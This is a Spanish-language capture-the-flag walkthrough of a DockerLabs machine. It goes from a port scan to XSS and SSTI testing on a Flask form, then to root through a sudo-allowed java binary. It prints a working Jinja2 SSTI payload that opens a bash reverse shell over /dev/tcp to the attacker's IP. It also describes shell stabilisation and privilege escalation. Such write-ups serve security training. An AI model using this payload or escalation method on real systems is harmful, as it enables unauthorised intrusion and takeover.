Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Comenzamos primero realizando un escaneo de los puertos para obtener información de nuestro objetivo y que podemos realizar. En este caso podemos observar que solo encontró el puerto 5000.
Al dirigirnos a la dirección web, podemos observar que es un registro y del cual el mail no se puede modificar.
Podemos enviar cualquier texto y podemos observar que el formulario no validó ninguno a pesar de que el placeholder indica un formato de fecha y teléfono.
Luego de enviar el formulario observamos que nos refleja el contenido que ingresamos en PinguNombre.
Ya que al parecer solo observamos que la página nos refleja el nombre, probaremos en ese campo un XSS simple para validar si es vulnerable.
Realizamos un clic en Save all y podemos observar que sí vemos reflejado.
Como no tenemos alguna manera de que realizar un XSS que nos brinde mayor información, probaremos un STTI y veremos si nos devuelve un resultado o la operación que ingresamos.
Enviamos el SSTI y podemos observar que obtuvimos resultado.
Con conocimiento de ello probaremos algunos payloads de SSTI para ver si es posible acceder de esta manera. Obtendremos diversos payloads de la página PayloadsAllTheThings. Enviaremos un payload para ver el ID de usuario.
Podemos observar que la respuesta es positiva.
Con conocimiento de esto trataremos de establecer una shell usando este método. Usaremos el siguiente comando que también se puede observar en la página antes mencionada, solo que agregamos nuestra shell como se puede observar.
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c \'bash -i >& /dev/tcp/192.168.0.5/1234 0>&1\'').read() }}
Enviamos el payload y podemos observar que obtuvimos la shell de manera práctica.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola, seguida de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
Al ingresar realizamos un ls -la
y podemos observar una carpeta flask
, pero revisando no hay mucho que nos ayude.
Realizamos un sudo -l
se puede observar que usando el binario java podemos acceder como root.
Para poder abusar de este lo que debemos crear un archivo .java y con este poder obtener una shell. Para agilizar podemos hacer uso de la página revshell La cual en la opción java tenemos el código el cual solo copiamos.
Antes de todo iniciamos nuestro listener con el puerto correspondiente.
Creamos el archivo y pegamos el código en java. Ejecutamos y podemos observar que se ejecutó con éxito.
En nuestro listener podemos observar que ya tenemos acceso y si hacemos whoami se lee que somos root. De esta manera culminando exitosamente esta máquina.